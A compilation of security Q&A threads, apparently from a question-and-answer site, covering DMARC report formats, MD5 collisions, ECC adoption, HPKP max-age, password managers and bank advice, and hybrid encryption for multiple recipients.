Within the <auth_results> section of the DMARC report all authentication results are listed, no matter if they get used to compute the DMARC result or not. From the DMARC FAQ: I need to implement aggregate reports, what do they look like?:

  Please note that the SPF and DKIM results in the auth_results are raw results, regardless of Identifier Alignment; the results of the DMARC evaluation with Identifier Alignment are in the policy_evaluated section.

As for the envelope_from:

  I've also noticed that most reports don't specify an envelope from in the indicators. Why? It seems to be required by the schema in the RFC ...

These reports do conform to an older draft only, like draft-dmarc-base-00
rev.02 from 2012. There is no envelope_from in this version yet. It was only added later in draft-kucherawy-dmarc-base-00 in 2013. I do not know why the reporting tools did not get updated but even Google is sending such older reports.

Even the example shown in the official DMARC Wiki uses the older report format although it acknowledges that the example "may be out of date by this time". Given that even the official examples on how to write a DMARC report are out of date one probably cannot expect from the vendors to be better than this.


Program binaries or files with same MD5 hash I'm looking for 2 different program binaries or 2 different files with the same MD5 hash to prove its weakness and the collisions in the algorithm.

This page has a pair of PostScript documents that have an MD5 hash collision.
This page has a pair of X.509 certificates that have an MD5 hash collision.
Wikipedia also has a pair of hexadecimal strings that are very similar and yield an  MD5 hash collision (when hashed as raw binary data).


How widely used is Elliptic Curve Cryptography? I would like to know how widely ECC is being used today (or has been used in recent years). How do I find data about this? Also, what are good metrics for quantifying this?

The best source you probably have, apart from doing a broad scan yourself, is to check the Certificate Transparency logs. Only a few days ago, someone tweeted a statistic from those logs (I could not find a better source for it than twitter, so take it with a grain of salt).


Is any company or group working on secure hardware architectures? My impression is that mature Unix-like operating systems are less vulnerable to trojans that might be present, mainly because of well-debugged kernel code, including correct use of hardware memory protection. Is that correct?
Is any company or group known to be working on hardware architectures aimed at preventing vulnerabilities from application code -- even if the OS is not Unix-like, and even if trojans are present?

Thank you.

1) Not entirely. 'Secure' operating systems like OpenBSD are secure not only because their code is well debugged and examined closely but also because their default install comes with  very few extra pieces of software in the environment. Its an example of creating the smallest possible attack surface. Anything that the user then adds on top of it is at their own risk. OpenBSD comes with about 20 3rd party packages which are all selected (and some patched additionally) for their strong security.

2) I think what your referring to is known as hardware antivirus. If that's the case, then yes, some companies have looked into it.


Mitigating DDoS With Command of Ports Is there any type of DDoS where closing or taking full control of all port capabilities would be useful in mitigation of an attack?

The only thing I can think of is a broadcast storm or similar, where responses from the target are what's keeping the attack going.  These are rare and almost invariably accidental, and there's an easier way to stop them than messing around with ports: just take the target system briefly offline.


Can users make use of a password manager when banks tell them never to write passwords down? Consider a user who wants to use a password manager for their banking passwords. Advice from banks usually says they should never write down their password. The user would be concerned about going against that advice, as it could mean their bank would refuse to accept liability for any fraud that may occur on their account.

So, can they use a password manager? Does storing the password encrypted count as writing it down?

This is a legal and policy question; I am already aware of the technical risks and benefits of using a password manager. Answers may be country specific (and even bank specific). I'm in the UK but I am interested in answers from anywhere in the world.

I am not a laywer, but a properly constructed password manager stores passwords approximately as securely as any modern banking system.

I can't speak to the legality of using a password manager, but I can say that on a philosophical level, anywhere a personally provided password is acceptable as identification, a (properly constructed) password manager password is acceptable.

(Edit: Adding a password to a properly constructed password manager is not equivalent to simply writing them down.)


Doesn't HPKP become useless after the max age has expired? The basic idea behind HPKP was to protect your users from MITM attacks if an intermediate CA accidentally issues fraudulent certificate for your domain to the attacker.

You pin either keys or hash to your certificate and set a max age. The problem is max age itself. Your browser remembers a HPKP policy as long as the max age is not expired.                              Once the max age is over the attacker can use his fraudulent certificate to appear as legitimate web server of your site.

Github and Mozilla use HPKP. Isn't it obvious that an attacker will wait until their max age is expired and then perform the attack?

Doesn't HPKP become useless after the max age has expired?

Yes, after the timeout is reached, the pin is no longer effective. But the expectation is that you will eventually visit the page again before your pin expires, thus refreshing the timeout again and updating the pins. It can be dangerous to never let a pin expire because you could lock out previous users forever if you accidentally let them pin the wrong key just once.

  Isn't it obvious that an attacker will wait until their max age is expired and then perform the attack?

Such an attacker has to be very patient and make a few assumptions. The victim may not visit the site regularly since that would extend the timeout on each visit. Additionally, the attack has to be still feasible after that time. Two months can be long for a CA breach to remain undetected.

Ultimately it's a trade-off which RFC 7469 ("Public Key Pinning Extension for HTTP") explains in the section on Security Considerations:

  4.1.  Maximum max-age

  [...] There is a security trade-off in that low maximum
     values provide a narrow window of protection for users who visit the
     Known Pinned Host only infrequently, while high maximum values might
     result in a UA's inability to successfully perform Pin Validation for
     a Known Pinned Host if the UA's noted Pins and the host's true Pins
     diverge.

(UA = User Agent, meaning your browser)

The RFC recommends an expiry time around 60 days (which is exactly the time Github uses):

  There is probably no ideal upper limit to the max-age directive
  that    would satisfy all use cases.  However, a value on the order of
  60    days (5,184,000 seconds) may be considered a balance between the
  two    competing security concerns.


multiple private keys for single public key I am currently working in security in mobile ad-hoc networks I have several clusters, and I want from the cluster head to send some data encrypted with its public key ,to the cluster members. I assume that each member has its own private key so it can decrypt the data

I ask about how to get a single public key and multiple private keys for this public key? what is the solution for this case?

What you can do in this situation is to use hybrid cryptography, in which you encrypt the message with a symmetric algorithm and encrypt the symmetric key with the recipient's public key. You can easily adapt that to send a message to many clients, each with their own public key. What you do is encrypt the symmetric key with client A's public key, and with client B's public key, and with client C's public key, and so on; you then stick all of these "symmetric key encrypted with client X's public key" tags on the front of the message, and each client can then decrypt the symmetric key and then the message. This way, you don't have to send 20 copies of the message, just 20 copies of the symmetric key.